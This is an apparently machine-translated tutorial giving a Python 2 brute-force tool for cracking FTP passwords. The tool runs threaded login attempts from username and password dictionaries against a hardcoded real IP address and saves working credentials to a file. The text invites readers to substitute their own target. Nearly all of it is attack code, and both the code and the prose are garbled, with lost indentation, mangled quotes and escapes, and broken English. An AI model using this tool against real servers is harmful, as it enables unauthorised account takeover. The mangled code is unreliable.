Python writes a brute force tool for cracking FTP passwords

  • 2020-04-02 14:21:25
  • OfStack

Specific powerful python library files, a lot of functions have corresponding library files, so it is necessary to learn, there is a corresponding library files FTP ftplib, we only need the login function, and then use multithreading call corresponding dictionary inside field to log in, can also according to their own needs, according to own situation when writing programs that need to let the program instead of us to do some boring repetitive job.

Now go directly to the code, and then the main file


import os
import time
import threading class mythread(threading.Thread):
def __init__(self,command):
threading.Thread.__init__(self)
self.command=command
def run(self):
kk=os.system(self.command)
ushand=open( " user.txt " , " r " )
pshand=open( " passwd.txt " , " r " )
listuser=[]
listpass=[]
for us in open( " user.txt " , " r " ):
lineus=ushand.readline().strip( ' n')
listuser.append(lineus)
for ps in open( " passwd.txt " , " r " ):
lineps=pshand.readline().strip( ' n')
listpass.append(lineps)
for i in listuser:
for j in listpass:
command= " ftp.py %s %s " %(i,j)
print command
my_thread=mythread(command)
my_thread.start()
time.sleep(0.1)

The code in the corresponding (link: #) file is as follows


import ftplib
import socket
import sys
ftp=ftplib.FTP('121.54.175.204 ' )
try:
user=sys.argv[1]
passwd=sys.argv[2]
ftp.login(user,passwd)
hand=open( ' aa.txt','a+')
hand.write(user+ " : " +passwd+ " n " )
except ftplib.error_perm:
print " passwd is world "

Because plug close format, the indentation inside what have to adjust by hand again

You need two files, user.txt and passwd.txt, which are dictionaries for the username and account.

Code where the FTP cracking IP can be changed to their own to crack the IP, the last correct account and password will be input to aa.txt file.


Related articles: